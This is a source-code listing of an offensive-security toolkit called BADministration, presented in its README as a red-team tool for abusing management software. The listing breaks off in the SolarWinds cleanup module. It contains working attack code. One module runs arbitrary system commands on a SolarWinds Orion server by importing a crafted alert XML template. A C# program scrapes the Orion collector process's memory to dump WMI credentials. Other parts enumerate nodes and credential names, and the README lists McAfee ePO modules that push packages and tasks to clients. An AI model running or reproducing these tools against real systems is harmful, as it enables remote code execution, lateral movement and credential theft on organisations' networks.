├── Modules ├── __init__.py ├── Acronis │ ├── __init__.py │ ├── cpl_backup.json │ └── acronis.py ├── Common │ ├── __init__.py │ └── common.py ├── McAfee │ ├── __init__.py │ └── mcafee.py └── Solarwinds │ ├── __init__.py │ ├── cpl_alert.xml │ └── solarwinds.py ├── requirements.txt ├── BADministration.py ├── README.md └── Misc └── swdump └── swdump.cs /Modules/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Modules/Acronis/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Modules/Common/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Modules/McAfee/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Modules/Solarwinds/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pyfiglet==0.8.post1 2 | orionsdk==0.0.6 3 | termcolor==1.1.0 4 | mcafee-epo==1.0.3 5 | requests==2.21.0 6 | 7 | -------------------------------------------------------------------------------- /BADministration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import cmd 3 | from Modules.Solarwinds.solarwinds import * 4 | from Modules.McAfee.mcafee import * 5 | from Modules.Acronis.acronis import * 6 | from Modules.Common.common import * 7 | 8 | #https://stackoverflow.com/questions/5822164/object-inheritance-and-nested-cmd 9 | #https://stackoverflow.com/questions/34145686/handling-argparse-escaped-character-as-option 10 | 11 | class MainMenu(BADminConsole): 12 | def __init__(self, context): 13 | BADminConsole.__init__(self, context) 14 | self.solarwinds = Solarwinds_Main(context) 15 | self.mcafee = McAfee_Main(context) 16 | self.acronis = Acronis_Main(context) 17 | context.print_title() 18 | self.prompt = '[BADministration]#' 19 | self.modules = ['mcafee', 'solarwinds', 'acronis'] 20 | 21 | def do_solarwinds(self, args): 22 | """Solarwinds parent BADministration module""" 23 | self.solarwinds.cmdloop() 24 | 25 | def do_mcafee(self, args): 26 | """McAfee parent BADministration module""" 27 | self.mcafee.cmdloop() 28 | 29 | def do_acronis(self, args): 30 | """Acronis parent BADministration module""" 31 | self.acronis.cmdloop() 32 | 33 | def do_show_modules(self, args): 34 | """Prints available parent modules""" 35 | print self.modules 36 | 37 | def do_exit(self, args): 38 | """Exit""" 39 | return True 40 | 41 | if __name__ == '__main__': 42 | context = BADminContext() 43 | con = MainMenu(context) 44 | con.cmdloop() -------------------------------------------------------------------------------- /Modules/Common/common.py: -------------------------------------------------------------------------------- 1 | from prettytable import PrettyTable 2 | import argparse 3 | import cmd 4 | from pyfiglet import Figlet 5 | 6 | class BADminConsole(cmd.Cmd): 7 | def __init__(self, context): 8 | cmd.Cmd.__init__(self) 9 | self.context = context 10 | 11 | class BADminContext(object): 12 | def __init__(self): 13 | self.Target = None 14 | self.Username = None 15 | self.Password = None 16 | self.Port = None 17 | self.Command = None 18 | self.PackageId = None 19 | self.PackagePath = None 20 | self.PackageBranch = None 21 | self.TaskName = None 22 | self.Systems = None 23 | 24 | def print_title(self): 25 | fig = Figlet(font='standard') 26 | print(fig.renderText('BADministration')) 27 | 28 | def asktocontinue(self): 29 | try: 30 | valid = {"yes", "y"} 31 | choice = raw_input("Continue? (y/n) ").lower() 32 | if choice not in valid: 33 | print "Exiting ..." 34 | return False 35 | else: 36 | return True 37 | 38 | except Exception as e: 39 | print e 40 | return 41 | 42 | def argumentparser(self, args): 43 | try: 44 | commands = ['target', 'username', 'password', 'port', 'command', 'packageid', 'packagepath', 'packagebranch', 'taskname', 'systems'] 45 | format_args = args.split() 46 | if format_args[0].lower() in commands: 47 | for r in commands: 48 | format_args[0] = format_args[0].lower().replace(r, "--" + r) 49 | else: 50 | print "Parameter issue" 51 | return 52 | 53 | ##Surely there is a better way 54 | ##Don't call me Surely 55 | parse_list = [] 56 | parse_list.insert(0, format_args.pop(0)) 57 | 58 | s = " " 59 | s = s.join(format_args) 60 | #s.replace("\\\\", "\\") 61 | #s.replace("\\", "") 62 | parse_list.append(s) 63 | 64 | print parse_list 65 | 66 | parser = argparse.ArgumentParser() 67 | parser.add_argument('--target') 68 | parser.add_argument('--username') 69 | parser.add_argument('--password') 70 | parser.add_argument('--port') 71 | parser.add_argument('--command', nargs="*") 72 | parser.add_argument('--taskname') 73 | parser.add_argument('--packageid') 74 | parser.add_argument('--packagebranch') 75 | parser.add_argument('--packagepath') 76 | parser.add_argument('--systems') 77 | arguments = parser.parse_args(parse_list) 78 | 79 | if arguments.target is not None: 80 | self.Target = arguments.target 81 | 82 | if arguments.username is not None: 83 | self.Username = arguments.username 84 | 85 | if arguments.password is not None: 86 | self.Password = arguments.password 87 | 88 | if arguments.command is not None: 89 | self.Command = arguments.command 90 | 91 | if arguments.port is not None: 92 | self.Port = arguments.port 93 | 94 | if arguments.taskname is not None: 95 | self.TaskName = arguments.taskname 96 | 97 | if arguments.packageid is not None: 98 | self.PackageId = arguments.packageid 99 | 100 | if arguments.packagebranch is not None: 101 | self.PackageBranch = arguments.packagebranch 102 | 103 | if arguments.packagepath is not None: 104 | self.PackagePath = arguments.packagepath 105 | 106 | if arguments.systems is not None: 107 | self.Systems = arguments.systems 108 | 109 | except Exception as e: 110 | print e 111 | return 112 | 113 | def requiredparams(self, reqparams): 114 | t = PrettyTable(['Required Parameter', 'Current Setting']) 115 | for r in reqparams: 116 | param = "self." + r 117 | #Ew! 118 | t.add_row([r, eval(param)]) 119 | print t 120 | return -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BADministration 2 | 3 | #### What is BADministration? 4 | 5 | BADministration is a tool which interfaces with management or administration applications from an offensive standpoint. It attempts to provide offsec personnel a tool with the ability to identify and leverage these non-technical vulnerabilities. As always: use for good, promote security, and fight application propagation. 6 | 7 | Sorry for using python2.7, I found a lot of the vendor APIs would only run on 2.7 and I'm not experienced enough to mix and match python versions. 8 | 9 | #### Application Propagation 10 | 11 | In my opinion, we often do a fantastic job of network segmentation and we're starting to catch on with domain segmentation; however, one area I often see us fall down is application segmentation. Application segmentation is similar to network segmentation in that we're trying to reduce the exposure of a critical zone from a less trusted zone if it were to become exploited. Administration applications often have privileged access to all its clients, if an attacker lands on that administration application there is a good chance all the clients can become exploited as well. Application segmentation tries to ensure that server-to-client relationships don't cross any trust boundaries. For example, if your admin network is trust level 100 and it's administered by your NMS server, your NMS server should be considered trust level 100. 12 | 13 | #### References 14 | - https://www.codeproject.com/Articles/716227/Csharp-How-to-Scan-a-Process-Memory 15 | - http://www.exploit-monday.com/2012/03/powershell-live-memory-analysis-tools.html 16 | - https://stackoverflow.com/questions/46440950/require-and-option-only-if-a-choice-is-made-when-using-click/46662521 17 | 18 | #### Installation 19 | 20 | There will be a collection of python scripts, exes, and who knows what; for the central python module it's pretty simple 21 | 22 | **pip install -r requirements.txt** 23 | 24 | ## Current Modules 25 | 26 | #### Solarwinds Orion 27 | 28 | - solarwinds-enum - Module used to enumerate clients of Orion 29 | - solarwinds-listalerts - Lists Orion alerts and draws attention to malicious BADministration alerts 30 | - solarwinds-alertremove - Removes the malicious alert 31 | - solarwinds-syscmd - Executes a system command on the Orion server via malicious alert 32 | - Standalone **x64** 4.5 .NET BADministration_SWDump.exe - Scrapes memory for WMI credentials used by Orion. 33 | - Can consume large amounts of memory, use at your own risk 34 | - Compile me as x64 35 | 36 | #### McAfee ePO 37 | 38 | - mcafee-enum - Module used to enumerate clients of ePO 39 | - mcafee-listpackages - Lists all ePO deployment packages 40 | - mcafee-removepackage - Removes ePO deployment packages 41 | - mcafee-uploadpackage - Uploads package created with McAfee ePO Endpoint Deployment Toolkit (EEDK) 42 | - mcafee-createtask - Creates client task using deployment package 43 | - mcafee-remotetask - Removes target client task 44 | - mcafee-listtasks - Lists all client tasks 45 | - mcafee-runtask - Runs target client deployment task 46 | 47 | ## 48 | 49 | #### McAfee EEDK 50 | 51 | The ePO Endpoint Deployment Kit (EEDK) creates some sort of signed zip file which can be uploaded to ePO. A client task can be created leveraging the zip file, giving privileged access to ePO clients. EEDK requires msvcp71.dll to run which is an old runtime library which can be found in the .NET Framework SDK Version 1.1. 52 | 53 | - EEDK Download - https://community.mcafee.com/t5/Documents/ePO-Endpoint-Deployment-Kit-9-6-1-Enterprise-Edition/ta-p/553541 54 | - Microsoft .NET Framework SDK Version 1.1 - https://www.microsoft.com/en-ca/download/details.aspx?id=16217 55 | 56 | ### Check us out at 57 | - https://ijustwannared.team 58 | - https://twitter.com/cpl3h 59 | - https://twitter.com/DarknessCherry 60 | -------------------------------------------------------------------------------- /Modules/Solarwinds/cpl_alert.xml: -------------------------------------------------------------------------------- 1 | 6669c1119ab-3640-43d6-b4ba-61cbea8d7c04falseadminResponsibleTeamAlert DefinitiontruePT20S2019-05-09T21:48:24.0266667ZCPL AlerttruetrueOrionServerCriticalThis is the nameIP AddressIP Address${IP_Address}Object Sub TypeObject Sub Type${ObjectSubType}Status DescriptionStatus Description${StatusDescription}Node NameNode Name${SysName}VendorVendor${Vendor}OrionServerResetInverseToTriggerNonefalseNoticeTriggerConstant${N=Generic;M=Application}ConstantNotThisOperator!=OperatorANDNonefalseOrionServerfalseCredentialsfalseEscalationLevel0falseexecutionIfAknowledgeTruefalseexecutionRepeatTimeSpan0falseProgramPathCMDGOESHEREExecuteExternalProgramExecute a program when the Alert is Triggered or Resettrue152false1CPL Actionswis://localhost/Orion/Orion.AlertConfigurations/AlertID=97 2 | -------------------------------------------------------------------------------- /Misc/swdump/swdump.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Text.RegularExpressions; 6 | 7 | //https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.processmodule.baseaddress?view=netframework-4.8 8 | //https://www.pinvoke.net/default.aspx/kernel32.virtualqueryex 9 | //http://www.exploit-monday.com/2012/03/powershell-live-memory-analysis-tools.html 10 | //https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex?view=netframework-4.8 11 | //https://www.codeproject.com/Articles/716227/Csharp-How-to-Scan-a-Process-Memory 12 | 13 | namespace SWDump 14 | { 15 | public class ClCLI 16 | { 17 | public bool bVerbose = false; 18 | public bool bGetCreds = false; 19 | public bool bAccounts = false; 20 | public bool bContext = false; 21 | public int iContext = 2; 22 | public string sCliAccounts; 23 | public string[] saAccounts; 24 | public ClCLI() 25 | { 26 | string sCLI = @" 27 | ############################# Solarwinds Cred Extractor ############################# 28 | C# memory scraper that will hopefully dump WMI credentials used by Solarwinds 29 | 30 | References: 31 | http://www.exploit-monday.com/2012/03/powershell-live-memory-analysis-tools.html 32 | https://www.codeproject.com/Articles/716227/Csharp-How-to-Scan-a-Process-Memory 33 | "; 34 | Console.WriteLine(sCLI); 35 | } 36 | public bool FbCLIInterface(string[] args) 37 | { 38 | if (args.Length == 0) 39 | { 40 | return false; 41 | } 42 | for (int z = 0; z < args.Length; z++) 43 | { 44 | switch (args[z].ToLower()) 45 | { 46 | case "-verbose": 47 | bVerbose = true; 48 | break; 49 | case "-getcreds": 50 | bGetCreds = true; 51 | break; 52 | case "-accounts": 53 | bAccounts = true; 54 | sCliAccounts = args[z + 1].ToLower(); 55 | break; 56 | case "-context": 57 | bContext = true; 58 | Int32.TryParse(args[z + 1], out iContext); 59 | break; 60 | } 61 | } 62 | if (bGetCreds == true && bAccounts == true) 63 | { 64 | saAccounts = sCliAccounts.Split(','); 65 | Console.WriteLine("CLI: Attempting to dump credentials for the following accounts"); 66 | foreach (string sAccount in saAccounts) 67 | { 68 | Console.WriteLine(sAccount); 69 | } 70 | return true; 71 | } 72 | else 73 | { 74 | return false; 75 | } 76 | } 77 | public void FvPrintUsage() 78 | { 79 | string sUsage = @" 80 | #################################### Usage ######################################## 81 | Only -getcreds and -accounts switches are mandatory. Accounts are comma separated and 82 | case insensitive. Context will provide that number of lines above and below the regex 83 | hit (default: 2). 84 | ##################################################################################### 85 | 86 | Examples: 87 | BADministration_SWDump.exe -getcreds -accounts ""administrator,cpl,cherrydarkness"" 88 | BADministration_SWDump.exe -getcreds -context 10 -accounts ""administrator"""; 89 | Console.WriteLine(sUsage); 90 | } 91 | } 92 | 93 | class Program 94 | { 95 | [DllImport("kernel32.dll")] 96 | static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength); 97 | 98 | [DllImport("kernel32.dll")] 99 | static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead); 100 | 101 | [DllImport("kernel32.dll")] 102 | static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo); 103 | 104 | public struct SYSTEM_INFO 105 | { 106 | public ushort processorArchitecture; 107 | ushort reserved; 108 | public uint pageSize; 109 | public IntPtr minimumApplicationAddress; 110 | public IntPtr maximumApplicationAddress; 111 | public IntPtr activeProcessorMask; 112 | public uint numberOfProcessors; 113 | public uint processorType; 114 | public uint allocationGranularity; 115 | public ushort processorLevel; 116 | public ushort processorRevision; 117 | } 118 | public struct MEMORY_BASIC_INFORMATION 119 | { 120 | public IntPtr BaseAddress; 121 | public IntPtr AllocationBase; 122 | public AllocationProtectEnum AllocationProtect; 123 | public IntPtr RegionSize; 124 | public StateEnum State; 125 | public AllocationProtectEnum Protect; 126 | public TypeEnum Type; 127 | } 128 | public enum AllocationProtectEnum : uint 129 | { 130 | PAGE_EXECUTE = 0x00000010, 131 | PAGE_EXECUTE_READ = 0x00000020, 132 | PAGE_EXECUTE_READWRITE = 0x00000040, 133 | PAGE_EXECUTE_WRITECOPY = 0x00000080, 134 | PAGE_NOACCESS = 0x00000001, 135 | PAGE_READONLY = 0x00000002, 136 | PAGE_READWRITE = 0x00000004, 137 | PAGE_WRITECOPY = 0x00000008, 138 | PAGE_GUARD = 0x00000100, 139 | PAGE_NOCACHE = 0x00000200, 140 | PAGE_WRITECOMBINE = 0x00000400 141 | } 142 | public enum StateEnum : uint 143 | { 144 | MEM_COMMIT = 0x1000, 145 | MEM_FREE = 0x10000, 146 | MEM_RESERVE = 0x2000 147 | } 148 | public enum TypeEnum : uint 149 | { 150 | MEM_IMAGE = 0x1000000, 151 | MEM_MAPPED = 0x40000, 152 | MEM_PRIVATE = 0x20000 153 | } 154 | 155 | public static ClCLI clCLI = new ClCLI(); 156 | static void Main(string[] args) 157 | { 158 | try 159 | { 160 | //CLI Class 161 | if (!clCLI.FbCLIInterface(args)) 162 | { 163 | clCLI.FvPrintUsage(); 164 | return; 165 | } 166 | 167 | //Ensure the binary is compiled as x64. Code changes required for x86 servers running Solarwinds. 168 | if (IntPtr.Size != 8) 169 | { 170 | Console.WriteLine("Main: x64 only."); 171 | return; 172 | } 173 | 174 | //ProcessModule SWCModule; 175 | Process[] SWCProc = System.Diagnostics.Process.GetProcessesByName("SolarWinds.Collector.Service"); 176 | MEMORY_BASIC_INFORMATION m = new MEMORY_BASIC_INFORMATION(); 177 | 178 | //Get min and max address ranges for user applications. This with the memory sig check will narrow down 179 | //the search, hopefully saving time and memory. 180 | //Ref - https://www.codeproject.com/Articles/716227/Csharp-How-to-Scan-a-Process-Memory 181 | SYSTEM_INFO sys_info = new SYSTEM_INFO(); 182 | GetSystemInfo(out sys_info); 183 | IntPtr proc_min_address = sys_info.minimumApplicationAddress; 184 | IntPtr proc_max_address = sys_info.maximumApplicationAddress; 185 | long proc_min_address_l = (long)proc_min_address; 186 | long proc_max_address_l = (long)proc_max_address; 187 | 188 | if (SWCProc.Length == 0) 189 | { 190 | Console.WriteLine("Main: Could not find SolarWinds.Collector.Service. Is it running?"); 191 | return; 192 | } 193 | if (SWCProc.Length > 1) 194 | Console.WriteLine("Main: Found more than one SolarWinds.Collector.Service running. Going to continue, troubleshoot if you'd get your credentials."); 195 | 196 | //Get base address of the SolarWinds.Collector.Service in memory 197 | //SWCModule = SWCProc[0].MainModule; 198 | //Max address if we miss our exit. I've only seen SolarWinds on x64 systems, this max will change on x86 to 0x7fffffff 199 | //long MaxAddress = 0x7ffffffe0000; 200 | 201 | //CurrentAddress will cycle through memory regions. We're looking for one specific region 202 | //long CurrentAddress = (long)SWCModule.BaseAddress; 203 | 204 | long CurrentAddress = proc_min_address_l; 205 | 206 | //lpBuffer will hold the value returned from ReadProcessMemory. We'll use this to hopefully identify our memory region of interest 207 | //This could be volatile and might change from version to version. You might be able to dump all of the SolarWinds memory but it's 300MB or larger. 208 | //At that point, maybe it's best using something like procdump + windbg ... I dunno. 209 | byte[] lpBuffer = new byte[1]; 210 | int bytesread = 0; 211 | 212 | Console.WriteLine("Main: Starting memory cycle at {0}", CurrentAddress); 213 | 214 | //Cycle through memory regions starting at the base address of SolarWinds.Collector.Service.exe 215 | do 216 | { 217 | 218 | int result = VirtualQueryEx(SWCProc[0].Handle, (IntPtr)CurrentAddress, out m, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))); 219 | 220 | //Within the Collector.Service, we're looking for one specific region. In our test environment it ranged anywhere from 19Mb to 70Mb 221 | //and included a "P" at base address + 40. Added 1GB catch so not to eat up large amounts of memory ... should be fine. 222 | if ((ulong)m.RegionSize > 10000000 && (ulong)m.RegionSize < 1000000000) 223 | { 224 | //Check signature - "P" in memory - region base address + 0x40 225 | ReadProcessMemory(SWCProc[0].Handle, (IntPtr)CurrentAddress + 40, lpBuffer, 1, ref bytesread); 226 | if (Encoding.Default.GetString(lpBuffer) == "P") 227 | { 228 | Console.WriteLine("Main: Memory region hit at {0}", m.BaseAddress); 229 | Console.WriteLine("Main: Memory region size is {0}", m.RegionSize); 230 | 231 | //Read region into byte array. This might be insane; I'm sure there are better ways and would really 232 | //like to know them. 233 | byte[] bigbuffer = new byte[(ulong)m.RegionSize + 1]; 234 | ReadProcessMemory(SWCProc[0].Handle, m.BaseAddress, bigbuffer, (int)m.RegionSize, ref bytesread); 235 | 236 | //Regex statement thanks to Matt Graeber and his Memory-Tools.ps1 237 | //http://www.exploit-monday.com/2012/03/powershell-live-memory-analysis-tools.html 238 | System.Text.UnicodeEncoding Encoder = new System.Text.UnicodeEncoding(); 239 | Regex rxString = new Regex("[\u0020-\u007E]{6,}"); 240 | MatchCollection matches = rxString.Matches(Encoder.GetString(bigbuffer)); 241 | 242 | for (int i = 0; i < matches.Count; i++) 243 | { 244 | foreach (string sAccount in clCLI.saAccounts) 245 | { 246 | if (matches[i].Value.ToString().IndexOf(sAccount, StringComparison.OrdinalIgnoreCase) >= 0) 247 | { 248 | for (int x = 0; x < clCLI.iContext; x++) 249 | { 250 | //Print the results and context 251 | Console.WriteLine("Main: {0} - {1}", i, matches[i].Value); 252 | Console.WriteLine("Main: {0} - {1}", i + x, matches[i + x].Value); 253 | Console.WriteLine("Main: {0} - {1}", i - x, matches[i - x].Value); 254 | } 255 | } 256 | } 257 | } 258 | } 259 | } 260 | //Setting CurrentAddress to next region. Also checking our maxaddress range 261 | if (CurrentAddress == (long)m.BaseAddress + (long)m.RegionSize) 262 | break; 263 | CurrentAddress = (long)m.BaseAddress + (long)m.RegionSize; 264 | } while (CurrentAddress <= proc_max_address_l); 265 | } 266 | catch 267 | { } 268 | } 269 | } 270 | } 271 | 272 | -------------------------------------------------------------------------------- /Modules/Solarwinds/solarwinds.py: -------------------------------------------------------------------------------- 1 | import orionsdk 2 | import requests 3 | import string 4 | import sys 5 | import time 6 | import cmd 7 | from cgi import escape 8 | from prettytable import PrettyTable 9 | from termcolor import colored 10 | from ..Common.common import BADminConsole 11 | 12 | #http://solarwinds.github.io/OrionSDK/schema/ 13 | 14 | class Solarwinds_Main(BADminConsole): 15 | def __init__(self, context): 16 | BADminConsole.__init__(self, context) 17 | self.prompt = '[BADministration\solarwinds]#' 18 | self.modules = ['enumerate', 'system_command', 'list_alerts', 'cleanup'] 19 | self.enumerate = Solarwinds_Enumerate(context) 20 | self.list_alerts = Solarwinds_ListAlerts(context) 21 | self.system_command = Solarwinds_SystemCommand(context) 22 | self.cleanup = Solarwinds_AlertCleanup(context) 23 | 24 | def do_back(self, args): 25 | """Goes back to parent module""" 26 | return True 27 | 28 | def do_exit(self, args): 29 | """Exit""" 30 | sys.exit() 31 | 32 | def do_show_modules(self, args): 33 | """Prints available child modules""" 34 | print self.modules 35 | 36 | def do_enumerate(self, args): 37 | """Enumerates connected clients""" 38 | self.enumerate.cmdloop() 39 | 40 | def do_list_alerts(self, args): 41 | """Lists alerts and specifically flags BADministration alerts""" 42 | self.list_alerts.cmdloop() 43 | 44 | def do_system_command(self, args): 45 | """Executes system command on target server""" 46 | self.system_command.cmdloop() 47 | 48 | def do_cleanup(self, args): 49 | """Cleans BADministration alert on target server""" 50 | self.cleanup.cmdloop() 51 | 52 | class Solarwinds_Helper(): 53 | def headerdisplay(self, text): 54 | print colored('-------------------------------', 'grey', 'on_blue'), 55 | print colored(text.center(40, ' '), 'red', 'on_blue'), 56 | print colored('-------------------------------', 'grey', 'on_blue') 57 | 58 | def swisconnect(self, npm_server, username, password): 59 | swis = orionsdk.SwisClient(npm_server, username, password) 60 | return swis 61 | 62 | class Solarwinds_Enumerate(BADminConsole): 63 | 64 | params = ['target', 'username', 'password'] 65 | 66 | def __init__(self, context): 67 | BADminConsole.__init__(self, context) 68 | self.prompt = '[BADministration\solarwinds\enumerate]#' 69 | self.get_params() 70 | 71 | def get_params(self): 72 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password } 73 | 74 | def do_show_options(self, args): 75 | """Shows required parameters""" 76 | self.context.requiredparams(self.requiredparams) 77 | 78 | def do_set_param(self, args): 79 | """Sets required parameters set_param [parameter] [option] 80 | Example: set_param target 192.168.1.1""" 81 | self.context.argumentparser(args) 82 | 83 | def complete_set_param(self, text, line, begidx, endidx): 84 | if not text: 85 | completions = self.params[:] 86 | else: 87 | completions = [ f 88 | for f in self.params 89 | if f.startswith(text) 90 | ] 91 | return completions 92 | 93 | def do_back(self, args): 94 | """Goes back to parent module""" 95 | return True 96 | 97 | def do_exit(self, args): 98 | """Exit""" 99 | sys.exit() 100 | 101 | def do_run(self, args): 102 | """Runs the current module""" 103 | flag = True 104 | self.get_params() 105 | for c, d in self.requiredparams.items(): 106 | if d is None: 107 | print "Parameter not set" 108 | self.do_show_options(args) 109 | flag = False 110 | break 111 | if flag is True: 112 | self.sw_enumerate() 113 | 114 | def sw_enumerate(self): 115 | try: 116 | ####Variable conversion 117 | target = self.context.Target 118 | username = self.context.Username 119 | password = self.context.Password 120 | verbose = False 121 | helper = Solarwinds_Helper() 122 | 123 | ####Header 124 | helper.headerdisplay("Solarwinds Enumeration") 125 | 126 | ####Connection Setup 127 | requests.packages.urllib3.disable_warnings() 128 | swiconnection = helper.swisconnect(target, username, password) 129 | 130 | ####Query and Print Nodes 131 | nodequery = swiconnection.query("SELECT n.DisplayName, n.DNS, n.IPAddress, n.MachineType, c.Name FROM Orion.Nodes n JOIN Orion.DiscoveredNodes d ON n.IPAddress = d.IPAddress JOIN Orion.Credential c ON d.CredentialID = c.ID") 132 | 133 | if len(nodequery) == 0: 134 | print('No nodes found.') 135 | return 136 | 137 | t = PrettyTable(['DisplayName', 'DNS', 'IP Address', 'Node Type', 'Credential Name']) 138 | 139 | for r in nodequery['results']: 140 | t.add_row([r['DisplayName'], r['DNS'], r['IPAddress'], r['MachineType'], r['Name']]) 141 | print t 142 | 143 | ####Query and Print Solarwinds WMI Accounts 144 | cortexquery = swiconnection.query("SELECT UserName FROM Cortex.Orion.WindowsCredential") 145 | 146 | ct = PrettyTable(['WMI Query Accounts']) 147 | for z in cortexquery['results']: 148 | ct.add_row([z['UserName']]) 149 | print ct 150 | except requests.exceptions.ConnectionError as error: 151 | print colored("Connection failed to Orion Server - " + target, 'yellow', 'on_blue') 152 | except Exception as error: 153 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 154 | 155 | 156 | class Solarwinds_ListAlerts(BADminConsole): 157 | 158 | params = ['target', 'username', 'password'] 159 | 160 | def __init__(self, context): 161 | BADminConsole.__init__(self, context) 162 | self.prompt = '[BADministration\solarwinds\list_alerts]#' 163 | self.get_params() 164 | 165 | def get_params(self): 166 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password } 167 | 168 | def do_show_options(self, args): 169 | self.context.requiredparams(self.requiredparams) 170 | 171 | def do_set_param(self, args): 172 | self.context.argumentparser(args) 173 | 174 | def complete_set_param(self, text, line, begidx, endidx): 175 | if not text: 176 | completions = self.params[:] 177 | else: 178 | completions = [ f 179 | for f in self.params 180 | if f.startswith(text) 181 | ] 182 | return completions 183 | 184 | def do_back(self, args): 185 | return True 186 | 187 | def do_exit(self, args): 188 | sys.exit() 189 | 190 | def do_run(self, args): 191 | flag = True 192 | self.get_params() 193 | for c, d in self.requiredparams.items(): 194 | if d is None: 195 | print "Parameter not set" 196 | self.do_show_options(args) 197 | flag = False 198 | break 199 | if flag is True: 200 | self.sw_list_alerts() 201 | 202 | def sw_list_alerts(self): 203 | try: 204 | 205 | ####Variable conversion 206 | target = self.context.Target 207 | username = self.context.Username 208 | password = self.context.Password 209 | verbose = False 210 | helper = Solarwinds_Helper() 211 | 212 | ####Connection Setup 213 | requests.packages.urllib3.disable_warnings() 214 | swiconnection = helper.swisconnect(target, username, password) 215 | 216 | ####Header 217 | helper.headerdisplay("Solarwinds Alert List") 218 | 219 | if verbose == True: 220 | print colored("Verbose Output - Attempting to list Solarwinds alerts.", 'green', 'on_blue') 221 | 222 | alertenum = swiconnection.query("SELECT AlertID,Name FROM Orion.AlertConfigurations") 223 | 224 | if len(alertenum) == 0: 225 | print('No alerts found.') 226 | return 227 | 228 | t = PrettyTable(['AlertID', 'Name', 'BADministration Alert']) 229 | 230 | for r in alertenum['results']: 231 | if r['Name'] == "CPL Alert": 232 | t.add_row([r['AlertID'], r['Name'], "TRUE"]) 233 | else: 234 | t.add_row([r['AlertID'], r['Name'], ""]) 235 | print t 236 | 237 | except requests.exceptions.ConnectionError as error: 238 | print colored("Connection failed to Orion Server - " + target, 'yellow', 'on_blue') 239 | except Exception as error: 240 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 241 | 242 | class Solarwinds_SystemCommand(BADminConsole): 243 | 244 | params = ['target', 'username', 'password', 'command'] 245 | 246 | def __init__(self, context): 247 | BADminConsole.__init__(self, context) 248 | self.prompt = '[BADministration\solarwinds\system_command]#' 249 | self.get_params() 250 | 251 | def get_params(self): 252 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password, "Command": self.context.Command } 253 | 254 | def do_show_options(self, args): 255 | self.context.requiredparams(self.requiredparams) 256 | 257 | def do_set_param(self, args): 258 | self.context.argumentparser(args) 259 | 260 | def complete_set_param(self, text, line, begidx, endidx): 261 | if not text: 262 | completions = self.params[:] 263 | else: 264 | completions = [ f 265 | for f in self.params 266 | if f.startswith(text) 267 | ] 268 | return completions 269 | 270 | def do_back(self, args): 271 | return True 272 | 273 | def do_exit(self, args): 274 | sys.exit() 275 | 276 | def do_run(self, args): 277 | flag = True 278 | self.get_params() 279 | for c, d in self.requiredparams.items(): 280 | if d is None: 281 | print "Parameter not set" 282 | self.do_show_options(args) 283 | flag = False 284 | break 285 | if flag is True: 286 | self.sw_system_shell() 287 | 288 | def sw_system_shell(self): 289 | try: 290 | 291 | ####Variable conversion 292 | target = self.context.Target 293 | username = self.context.Username 294 | password = self.context.Password 295 | command = self.context.Command[0] 296 | verbose = False 297 | helper = Solarwinds_Helper() 298 | 299 | ####Connection Setup 300 | requests.packages.urllib3.disable_warnings() 301 | swiconnection = helper.swisconnect(target, username, password) 302 | 303 | ####Header 304 | helper.headerdisplay("Solarwinds System Command") 305 | 306 | ####Pre-Condition Trigger 307 | if verbose == True: 308 | print colored("Verbose Output - Solarwinds alert creation for System RCE.", 'green', 'on_blue') 309 | 310 | importfile = './Modules/Solarwinds/cpl_alert.xml' 311 | 312 | if verbose == True: 313 | print colored("Verbose Output - Reading in Solarwinds alert template: " + importfile, 'green', 'on_blue') 314 | 315 | print colored("System command to be executed: " + command, 'yellow', 'on_blue') 316 | 317 | ####Read in Solarwinds alert template. Will replace CMDGOESHERE with command variable 318 | with open(importfile, 'r') as f: 319 | alert = f.read().replace('CMDGOESHERE',escape(command)) 320 | 321 | if verbose == True: 322 | print colored("Verbose Output - Attempting to create Solarwinds alert.", 'green', 'on_blue') 323 | 324 | swiconnection.invoke('Orion.AlertConfigurations', 'Import', alert) 325 | print colored("The command should execute immediately; however, sometimes it can take 5 minutes. Run cleanup after.", 'yellow', 'on_blue') 326 | 327 | except requests.exceptions.ConnectionError as error: 328 | print colored("Connection failed to Orion Server - " + target, 'yellow', 'on_blue') 329 | except Exception as error: 330 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 331 | 332 | 333 | class Solarwinds_AlertCleanup(BADminConsole): 334 | 335 | params = ['target', 'username', 'password'] 336 | 337 | def __init__(self, context): 338 | BADminConsole.__init__(self, context) 339 | self.prompt = '[BADministration\solarwinds\cleanup]#' 340 | self.get_params() 341 | 342 | def get_params(self): 343 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password } 344 | 345 | def do_show_options(self, args): 346 | self.context.requiredparams(self.requiredparams) 347 | 348 | def do_set_param(self, args): 349 | self.context.argumentparser(args) 350 | 351 | def complete_set_param(self, text, line, begidx, endidx): 352 | if not text: 353 | completions = self.params[:] 354 | else: 355 | completions = [ f 356 | for f in self.params 357 | if f.startswith(text) 358 | ] 359 | return completions 360 | 361 | def do_back(self, args): 362 | return True 363 | 364 | def do_exit(self, args): 365 | sys.exit() 366 | 367 | def do_run(self, args): 368 | flag = True 369 | 